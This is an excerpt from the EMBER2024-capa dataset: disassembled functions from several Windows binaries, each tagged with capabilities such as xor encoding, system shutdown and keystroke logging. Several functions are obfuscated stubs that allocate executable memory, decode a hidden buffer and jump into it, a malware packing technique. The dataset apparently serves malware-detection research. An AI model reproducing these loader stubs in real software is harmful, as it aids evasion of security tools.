joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040b1c2
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040b1c2
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040b1c2
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040b1c2
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040b1c2
mov dword [0x41203c], eax
call fcn.0040b1c2
test eax, eax
jge 0x402550
push 8
call fcn.0040b1c2
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040b1c2
pop ecx
push 1
call fcn.0040b1c2
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040b1c2
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040b1c2
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040b1c2
jmp 0x402495

Function at 0x40b1c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x40b1d1
pop dword [ebp - 0x10]
mov eax, 0x40b1d1
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x365db
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x66c5464c
sub ecx, 0x66c50a1a
xor ebx, ebx
add ebx, eax
mov edx, 0x2cddeb48
add edx, 0xd363507c
add edx, dword [ebp - 0x10]
mov edi, 0x9b409f99
sub edi, 0x6bcf8d28
add dword [ebp - 4], 0xc645cb8f
mov esi, dword [edx]
sub dword [ebp - 4], ecx
sub esi, edi
sub dword [ebp - 8], 0x1ccf9c9b
mov dword [ebx], esi
xor dword [ebp - 4], 0x3bf009a5
add ebx, 4
add edx, 4
loop 0x40b228
add eax, 0xddaf0088
add eax, 0x2251e313
mov ebx, eax
add eax, 0xcdc4cd86
sub eax, 0xcdc4cd81
mov ecx, 0x3ec484c3
sub ecx, 0x3e8484c3
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x1000b340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x1000b34f
pop dword [ebp - 0x18]
mov eax, 0x16a39c86
sub eax, 0x6a2e937
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x3acf4
push 0
mov eax, 0x4812cf87
sub eax, 0x38103e7b
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0xcaffcfcc
add ecx, 0x350078ae
xor esi, esi
add esi, eax
mov edi, 0x10046c00
add edi, dword [ebp - 0x18]
mov edx, 0xac4b89df
sub edx, 0x43a02a9c
xor dword [ebp - 8], edx
mov ebx, dword [edi]
add dword [ebp - 0xc], eax
add ebx, edx
add dword [ebp - 0x14], ebx
mov dword [esi], ebx
add dword [ebp - 0x10], esi
add esi, 4
add edi, 0xc4e1331f
add edi, 0x3b1ecce5
loop 0x1000b3aa
add eax, 0x114bb
mov ebx, eax
add eax, 0xcde42080
sub eax, 0xcde4207b
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x1001f5b
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1001f78
push 0
push dword [esp + 8]
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
jmp 0x1001f7b
and eax, 0x10
ret 4

Function at 0x100230f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
pushal
call 0x100231e
pop dword [ebp - 0x24]
mov eax, 0x100231e
sub dword [ebp - 0x24], eax
mov dword [ebp - 0x34], 0xd059fe6f
sub dword [ebp - 0x34], 0x8207b924
mov dword [ebp - 0x30], 0xfb161843
sub dword [ebp - 0x30], 0xc8e2cbfe
mov dword [ebp - 0x2c], 0xc6d71a1d
add dword [ebp - 0x2c], 0x85752a11
mov dword [ebp - 0x28], 0x2005f9fb
add dword [ebp - 0x28], 0xdffa0605
lea eax, [ebp - 0x34]
push eax
mov eax, 0xb30392d5
sub eax, 0xb2038181
add eax, dword [ebp - 0x24]
call dword [eax]
mov dword [ebp - 0x34], 0x6d1855ee
add dword [ebp - 0x34], 0x75a1368
mov dword [ebp - 0x30], 0xadf737ee
sub dword [ebp - 0x30], 0x6c8ad679
mov dword [ebp - 0x2c], 0x610590ff
sub dword [ebp - 0x2c], 0xfd962493
mov dword [ebp - 0x28], 0xd496bc3f
sub dword [ebp - 0x28], 0xd496bc3f
lea ebx, [ebp - 0x34]
push ebx
push eax
mov eax, 0x86c7e38
sub eax, 0x76c6d78
add eax, dword [ebp - 0x24]
call dword [eax]
push 0x40
push 0x1000
push 0x36f25
push 0
call eax
mov ecx, 0xd55e9fab
sub ecx, 0xd55e5930
mov esi, eax
mov edi, 0xec048f5f
sub edi, 0xeaf62f5f
add edi, dword [ebp - 0x24]
mov edx, 0x214c2cfe
add dword [ebp - 0x1c], edi
mov ebx, dword [edi]
xor dword [ebp - 0xc], eax
add ebx, edx
sub dword [ebp - 4], 0x6b7c7b91
mov dword [esi], ebx
add dword [ebp - 8], edx
add esi, 0xb27656af
sub esi, 0xb27656ab
add edi, 4
loop 0x1002435
add eax, 0x10cbf
mov ebx, eax
add eax, 0xb48d053f
add eax, 0x4b72fac6
mov ecx, 0x1000000
add ecx, dword [ebp - 0x24]
call ebx
leave
ret

Function at 0x100264f
Capabilities:
Shutdown system

Disassembly:
test byte [esp + 4], 2
jne 0x1002660
call fcn.01002623
cmp eax, 2
jne 0x100269e
test byte [esp + 4], 4
jne 0x1002683
push 4
push 0x40
push 0
push 0x1001251
push 0x522
push 0
call fcn.0100230f
cmp eax, 6
jne 0x100269e
cmp word [0x100aa64], 0
jne 0x1002699
push 0
push 2
call dword [sym.imp.USER32.dll_ExitWindowsEx]
jmp 0x100269e
call fcn.0100230f
ret 4

Function at 0x1002b44
Capabilities:
Create directory

Disassembly:
push edi
mov edi, dword [esp + 8]
mov cl, byte [edi]
test cl, cl
je 0x1002ba9
push ebx
push esi
lea esi, [edi + 1]
mov al, byte [esi]
xor ebx, ebx
cmp al, 0x3a
jne 0x1002b67
cmp byte [edi + 2], 0x5c
jne 0x1002b67
lea esi, [edi + 3]
jmp 0x1002ba2
cmp cl, 0x5c
jne 0x1002ba2
cmp al, cl
jne 0x1002ba2
push 2
lea esi, [edi + 2]
pop ebx
jmp 0x1002ba2
cmp byte [esi], 0x5c
jne 0x1002b99
cmp byte [esi - 1], 0x3a
je 0x1002b99
test ebx, ebx
je 0x1002b8a
dec ebx
jmp 0x1002b99
and byte [esi], 0
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
mov byte [esi], 0x5c
push esi
call dword [sym.imp.USER32.dll_CharNextA]
mov esi, eax
cmp byte [esi], 0
jne 0x1002b78
pop esi
pop ebx
pop edi
ret 4
Function at 0x1002ebf
Capabilities:
Delete file
Set current directory
Set file attributes

Disassembly:
sub esp, 0x104
push ebp
push esi
mov esi, dword [0x100ac40]
xor ebp, ebp
cmp esi, ebp
push edi
mov edi, esi
je 0x1002f13
push ebx
mov ebx, dword [sym.imp.kernel32.dll_LocalFree]
cmp dword [0x100b884], ebp
jne 0x1002f02
cmp dword [0x100b490], ebp
jne 0x1002f02
push 0x80
push dword [esi]
call dword [sym.imp.kernel32.dll_SetFileAttributesA]
push dword [esi]
call dword [sym.imp.kernel32.dll_DeleteFileA]
push dword [edi]
mov esi, dword [esi + 4]
call ebx
push edi
call ebx
cmp esi, ebp
mov edi, esi
jne 0x1002edd
pop ebx
cmp dword [0x100b880], ebp
je 0x1002f63
cmp dword [0x100b884], ebp
jne 0x1002f63
cmp dword [0x100b490], ebp
jne 0x1002f63
push 0x100ac44
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.kernel32.dll_lstrcpyA]
test byte [0x100b494], 0x20
je 0x1002f4e
lea eax, [esp + 0xc]
push eax
call fcn.01005bf7
push 0x1001284
call dword [sym.imp.kernel32.dll_SetCurrentDirectoryA]
lea eax, [esp + 0xc]
push eax
call fcn.0100230f
cmp word [0x100aa64], 1
je 0x1002f7a
cmp dword [0x100b880], ebp
je 0x1002f7a
call fcn.0100230f
pop edi
pop esi
mov dword [0x100b880], ebp
pop ebp
add esp, 0x104
ret

Function at 0x1002f8a
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get common file path
Get file attributes

Disassembly:
sub esp, 0x104
push ebx
push ebp
push esi
mov esi, dword [esp + 0x118]
push edi
xor edi, edi
xor ebp, ebp
push edi
lea eax, [esp + 0x14]
push 0x1001348
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push dword [esp + 0x118]
inc edi
push esi
call dword [sym.imp.kernel32.dll_lstrcpyA]
lea eax, [esp + 0x10]
push eax
push esi
call fcn.01005bb8
push esi
call dword [sym.imp.kernel32.dll_RemoveDirectoryA]
push esi
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
mov ebx, dword [sym.imp.kernel32.dll_CreateDirectoryA]
je 0x1003025
cmp edi, 0x190
jl 0x1002f9f
push esi
push 0
push 0x1001344
push dword [esp + 0x124]
call dword [sym.imp.kernel32.dll_GetTempFileNameA]
test eax, eax
je 0x1003016
xor ebp, ebp
push esi
inc ebp
call dword [sym.imp.kernel32.dll_DeleteFileA]
push 0
push esi
call ebx
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0x104
ret 8
xor ebp, ebp
push ebp
push esi
call ebx
test eax, eax
je 0x1002fee
xor eax, eax
inc eax
mov dword [0x100b880], eax
mov ebp, eax
jmp 0x1003016
Function at 0x1003e8c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
push esi
push ebx
call dword [sym.imp.kernel32.dll_lstrlenA]
add eax, 0x14
push eax
push 0x40
call dword [sym.imp.kernel32.dll_LocalAlloc]
mov esi, eax
xor ebp, ebp
cmp esi, ebp
jne 0x1003ecc
push ebp
push 0x10
push ebp
push ebp
push 0x4b5
push ebp
call fcn.0100230f
call fcn.01003573
mov dword [0x100aa5c], eax
xor eax, eax
jmp 0x1003f33
push edi
push ebx
push esi
call dword [sym.imp.kernel32.dll_lstrcpyA]
push 0x10013c4
push esi
call fcn.01005bb8
push ebp
push 0x4000080
push 1
push ebp
push ebp
push 0x40000000
push esi
call dword [sym.imp.kernel32.dll_CreateFileA]
push esi
mov edi, eax
call dword [sym.imp.kernel32.dll_LocalFree]
cmp edi, 0xffffffff
je 0x1003f26
push edi
call dword [sym.imp.kernel32.dll_CloseHandle]
push ebx
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1003f26
test al, 0x10
je 0x1003f26
xor eax, eax
mov dword [0x100aa5c], ebp
inc eax
jmp 0x1003f32
call fcn.01003573
mov dword [0x100aa5c], eax
xor eax, eax
pop edi
pop esi
pop ebp
pop ebx
ret 4
Function at 0x40f618
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40f627
pop dword [ebp - 0x14]
mov eax, 0x40f627
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x4f06b
push 0
mov eax, 0xaf768890
sub eax, 0xaf31d5e0
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x83ca993d
sub ecx, 0x83ca55a8
xor ebx, ebx
add ebx, eax
mov esi, 0x8626c7b7
add esi, 0x7a209649
add esi, dword [ebp - 0x14]
mov edx, 0xa1f76c48
add dword [ebp - 0x10], 0xae39392d
mov edi, dword [esi]
xor dword [ebp - 0x10], 0x8297caa4
xor edi, edx
add dword [ebp - 0x10], ecx
mov dword [ebx], edi
add dword [ebp - 4], 0x393385a4
add ebx, 0xfb6b6086
add ebx, 0x4949f7e
add esi, 4
loop 0x40f67d
add eax, 0x9f34a510
sub eax, 0x9f33a3e9
mov ebx, eax
add eax, 5
mov ecx, 0x84c2f6bb
add ecx, 0x7b7d0945
add ecx, dword [ebp - 0x14]
call ebx
leave
ret

Function at 0x4400c9
Capabilities:
Encrypt data using dpapi

Disassembly:
push esi
push edi
push 0x46c6d0
push str.AdvApi32.dll
call main
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
mov esi, eax
test esi, esi
js 0x44010c
push str.SystemFunction040
push dword [0x46c6d0]
call edi
push str.SystemFunction041
push dword [0x46c6d0]
mov dword [0x46c6c0], eax
call edi
mov dword [0x46c6c4], eax
jmp 0x440111
mov eax, dword [0x46c6c4]
cmp dword [0x46c6c0], 0
je 0x440122
test eax, eax
jne 0x4401c9
push 0x46c6d4
push str.Crypt32.dll
call main
mov esi, eax
test esi, esi
js 0x4401d3
push str.CryptProtectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c0], 0
mov dword [0x46c6c8], eax
jne 0x440187
test eax, eax
jne 0x440187
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x440171
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x440178
mov esi, 0x80004005
push esi
push 0x28
push str.c:_agent_work138_s_srclibsdutilcryputil.cpp
call fcn.004038f5
jmp 0x4401d3
push str.CryptUnprotectMemory
push dword [0x46c6d4]
call edi
cmp dword [0x46c6c4], 0
mov dword [0x46c6cc], eax
jne 0x4401c9
test eax, eax
jne 0x4401c9
call dword [sym.imp.kernel32.dll_GetLastError]
mov esi, eax
test esi, esi
jle 0x4401bd
movzx esi, si
or esi, 0x80070000
test esi, esi
js 0x4401c4
mov esi, 0x80004005
push esi
push 0x2d
jmp 0x44017b
mov dword [0x46c6d8], 1
pop edi
mov eax, esi
pop esi
ret
Function at 0x40788f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42ec40]
jne 0x407899
repz ret
jmp fcn.0040c0eb

Function at 0x40ad27
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405ac0
and dword [ebp - 4], 0
cmp dword [0x4337fc], 0
mov ebx, eax
jne 0x40add8
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40ae89
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x40ae89
push eax
call fcn.00405a4e
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x4337fc], eax
call esi
push eax
call fcn.00405a4e
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x433800], eax
call esi
push eax
call fcn.00405a4e
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x433804], eax
call esi
push eax
call fcn.00405a4e
pop ecx
mov dword [0x43380c], eax
test eax, eax
je 0x40add8
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00405a4e
pop ecx
mov dword [0x433808], eax
mov eax, dword [0x433808]
cmp eax, ebx
je 0x40ae30
cmp dword [0x43380c], ebx
je 0x40ae30
push eax
call fcn.00405ac9
push dword [0x43380c]
mov esi, eax
call fcn.00405ac9
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40ae30
test edi, edi
je 0x40ae30
call esi
test eax, eax
je 0x40ae27
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40ae27
test byte [ebp - 0xc], 1
jne 0x40ae30
or dword [ebp + 0x10], 0x200000
jmp 0x40ae69
mov eax, dword [0x433800]
cmp eax, ebx
je 0x40ae69
push eax
call fcn.00405ac9
pop ecx
test eax, eax
je 0x40ae69
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40ae69
mov eax, dword [0x433804]
cmp eax, ebx
je 0x40ae69
push eax
call fcn.00405ac9
pop ecx
test eax, eax
je 0x40ae69
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x4337fc]
call fcn.00405ac9
pop ecx
test eax, eax
je 0x40ae89
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40ae8b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000db20
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005d6e6
mov eax, dword fs:[0]
push eax
sub esp, 0xc
push esi
push edi
mov eax, dword [0x1008ab18]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [esi + 4]
cmp dword [eax + 0x16], 0
je 0x1000dc4f
push dword [ebp + 8]
lea ecx, [ebp - 0x10]
call fcn.1000e340
mov edi, dword [esi + 4]
mov dword [ebp - 4], 0
call sym.ScCore.dll_public:_static_class_ScCore::Encoder_const____cdecl_ScCore::Encoder::getBinary_void_
cmp dword [edi + 0x12], eax
mov eax, edi
setne cl
cmp byte [ebp + 0xc], 0
je 0x1000db90
test cl, cl
je 0x1000db90
push dword [edi + 0x26]
lea ecx, [ebp - 0x10]
call fcn.1000e340
mov eax, dword [esi + 4]
push dword [eax + 0x12]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x10]
call fcn.1000e340
mov edi, eax
test edi, edi
jne 0x1000dbd0
mov ecx, dword [ebp - 0x14]
test ecx, ecx
je 0x1000dbd0
mov eax, dword [esi + 4]
push dword [eax + 0x16]
push 1
push ecx
push dword [ebp - 0x18]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
mov ecx, 0x34
cmp eax, 1
cmovne edi, ecx
mov eax, dword [esi + 4]
push dword [eax + 0x16]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ferror]
add esp, 4
test eax, eax
mov eax, dword [esi + 4]
push dword [eax + 0x16]
je 0x1000dc14
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_clearerr]
add esp, 4
lea ecx, [ebp - 0x10]
mov edi, 0x34
call fcn.1000e340
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
mov ecx, dword [esi + 4]
add esp, 4
cmp edx, dword [ecx + 0x1e]
jl 0x1000dc32
jg 0x1000dc2c
cmp eax, dword [ecx + 0x1a]
jbe 0x1000dc32
mov dword [ecx + 0x1a], eax
mov dword [ecx + 0x1e], edx
lea ecx, [ebp - 0x10]
call fcn.1000e340
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
mov eax, 0x32
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x1000dda0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005d70c
mov eax, dword fs:[0]
push eax
sub esp, 0x820
mov eax, dword [0x1008ab18]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x820], ebx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x814], eax
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x10063304]
mov ecx, ebx
call esi
lea eax, [ebp - 0x828]
push eax
lea eax, [ebp - 0x82c]
push eax
mov eax, dword [ebx + 4]
add eax, 4
push eax
call fcn.1000e340
add esp, 0xc
test eax, eax
jne 0x1000dfa4
push 0x100675e0
push dword [ebx + 4]
call fcn.1000e340
mov edi, eax
add esp, 8
test edi, edi
jne 0x1000dfa9
mov eax, dword [ebx + 4]
push 2
push 0
push 0
mov edi, dword [eax + 0x16]
push edi
mov dword [ebp - 0x824], edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
add esp, 0x10
test eax, eax
jne 0x1000de74
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__ftelli64]
push 0
push 0
push 0
push edi
mov esi, eax
mov ebx, edx
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll__fseeki64]
add esp, 0x14
test eax, eax
je 0x1000de8f
mov ebx, dword [ebp - 0x820]
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x10063304]
mov ecx, ebx
call esi
mov eax, 0x34
jmp 0x1000dfab
push dword [ebp - 0x814]
lea ecx, [ebp - 0x81c]
call fcn.1000e340
push 0x100675f0
push dword [ebp - 0x818]
mov dword [ebp - 4], 0
call fcn.1000e340
mov edi, eax
add esp, 8
test edi, edi
jne 0x1000df79
mov eax, dword [ebp - 0x818]
mov eax, dword [eax + 0x16]
mov dword [ebp - 0x814], eax
mov eax, esi
or eax, ebx
je 0x1000df39
mov eax, 0x800
nop
push dword [ebp - 0x824]
cmp esi, 0x800
mov edi, esi
push 1
cmova edi, eax
lea eax, [ebp - 0x810]
push edi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
test eax, eax
je 0x1000df9d
push dword [ebp - 0x814]
lea eax, [ebp - 0x810]
push 1
push edi
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
test eax, eax
je 0x1000df9d
sub esi, edi
mov eax, esi
sbb ebx, 0
or eax, ebx
mov eax, 0x800
jne 0x1000dee0
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_int___thiscall_ScCore::File::close_void_
mov edi, eax
test edi, edi
jne 0x1000df79
mov eax, dword [ebp - 0x818]
add eax, 4
push eax
call fcn.1000e340
push dword [ebp - 0x828]
mov eax, dword [ebp - 0x818]
push dword [ebp - 0x82c]
add eax, 4
push eax
call fcn.10033b10
add esp, 0x10
mov edi, eax
mov ebx, dword [ebp - 0x820]
mov eax, dword [ebx]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x10063304]
mov ecx, ebx
call esi
lea ecx, [ebp - 0x81c]
call sym.ScCore.dll_public_virtual:_void___thiscall_ScCore::File::destructor_void_
jmp 0x1000dfa9
mov edi, 0x34
jmp 0x1000df79
mov edi, 0x30
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1005a9e0
mov esp, ebp
pop ebp
ret 4
Function at 0x1000e340
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1000e34f
pop dword [ebp - 0x4c]
mov eax, 0x1000e34f
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0xecc411b4
sub dword [ebp - 0x5c], 0x9e71cc69
mov dword [ebp - 0x58], 0xe83bc3da
add dword [ebp - 0x58], 0x49f7886b
mov dword [ebp - 0x54], 0xa93a39b1
sub dword [ebp - 0x54], 0x5cedf583
mov dword [ebp - 0x50], 0x56f41b8a
sub dword [ebp - 0x50], 0x56f41b8a
lea eax, [ebp - 0x5c]
push eax
mov eax, 0xcf6bf293
sub eax, 0xbf65c27b
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0xbee9f25f
add dword [ebp - 0x5c], 0xb58876f7
mov dword [ebp - 0x58], 0xd30450ff
add dword [ebp - 0x58], 0x6e681076
mov dword [ebp - 0x54], 0x8190decb
add dword [ebp - 0x54], 0xe1de8da1
mov dword [ebp - 0x50], 0xc3fca1e7
add dword [ebp - 0x50], 0x3c035e19
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, 0x201df0b2
add eax, 0xefe83f6e
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x598da
push 0
call eax
mov ecx, 0xbb9c0676
add ecx, 0x44645713
xor edx, edx
add edx, eax
mov edi, 0xa3bcfe67
add edi, 0x6c4c8799
add edi, dword [ebp - 0x4c]
mov esi, 0x2f0114d
mov ebx, dword [edi]
xor dword [ebp - 0x2c], edx
xor ebx, esi
sub dword [ebp - 0x38], 0x82b833c1
mov dword [edx], ebx
add dword [ebp - 0x18], edi
add edx, 0xa7bef647
add edx, 0x584109bd
add edi, 0x77bb4725
sub edi, 0x77bb4721
loop 0x1000e468
add eax, 0xbec4a4af
sub eax, 0xbec33bb8
xor ebx, ebx
add ebx, eax
add eax, 0x38de16fb
sub eax, 0x38de16f6
mov ecx, 0x10881454
add ecx, 0xff77ebac
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x10010020
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov ecx, esi
push 0
push 0
call fcn.1000e340
cwde
test eax, eax
je 0x10010052
mov ecx, dword [esi]
and al, 3
pop esi
cmp al, 2
jne 0x10010049
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033360
mov dword [ebp + 8], ecx
pop ebp
jmp fcn.10033590
mov eax, 0x30
pop esi
pop ebp
ret
Function at 0x10035360
Capabilities:
Get graphical window text
Log keystrokes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18c
mov eax, dword [0x1008ab18]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
call fcn.1000e340
mov ebx, eax
test ebx, ebx
je 0x100354cc
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov edi, eax
test edi, edi
je 0x100353ac
push 4
push edi
call dword [sym.imp.USER32.dll_GetWindow]
test eax, eax
jne 0x100353a8
push edi
call dword [sym.imp.USER32.dll_GetParent]
test eax, eax
je 0x100353ac
mov edi, eax
jmp 0x10035390
push 0x100
lea eax, [ebp - 0x184]
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x100354c4
push 0x80
lea eax, [ebp - 0x84]
push eax
push edi
call dword [sym.imp.USER32.dll_GetClassNameA]
test eax, eax
je 0x100354c4
lea eax, [ebp - 0x184]
push eax
lea eax, [ebp - 0x84]
push eax
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, edi
jne 0x100354c4
test edi, edi
je 0x100354c4
push esi
push 0xfffffffffffffffc
push edi
call dword [sym.imp.USER32.dll_GetWindowLongA]
push 0
push edi
mov esi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push 0
push ebx
mov edi, eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
test esi, esi
mov dword [ebp - 0x188], eax
pop esi
je 0x100354c4
cmp eax, edi
je 0x100354c4
push 1
push edi
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
test eax, eax
je 0x10035471
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 0
push edi
push dword [ebp - 0x188]
call dword [sym.imp.USER32.dll_AttachThreadInput]
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005a9e0
mov esp, ebp
pop ebp
ret
push 0
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2000
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push 2
lea eax, [ebp - 0x188]
mov dword [ebp - 0x188], 0
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
push 2
lea eax, [ebp - 0x18c]
push eax
push 0
push 0x2001
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
push ebx
call dword [sym.imp.USER32.dll_SetForegroundWindow]
pop edi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.1005a9e0
mov esp, ebp
pop ebp
ret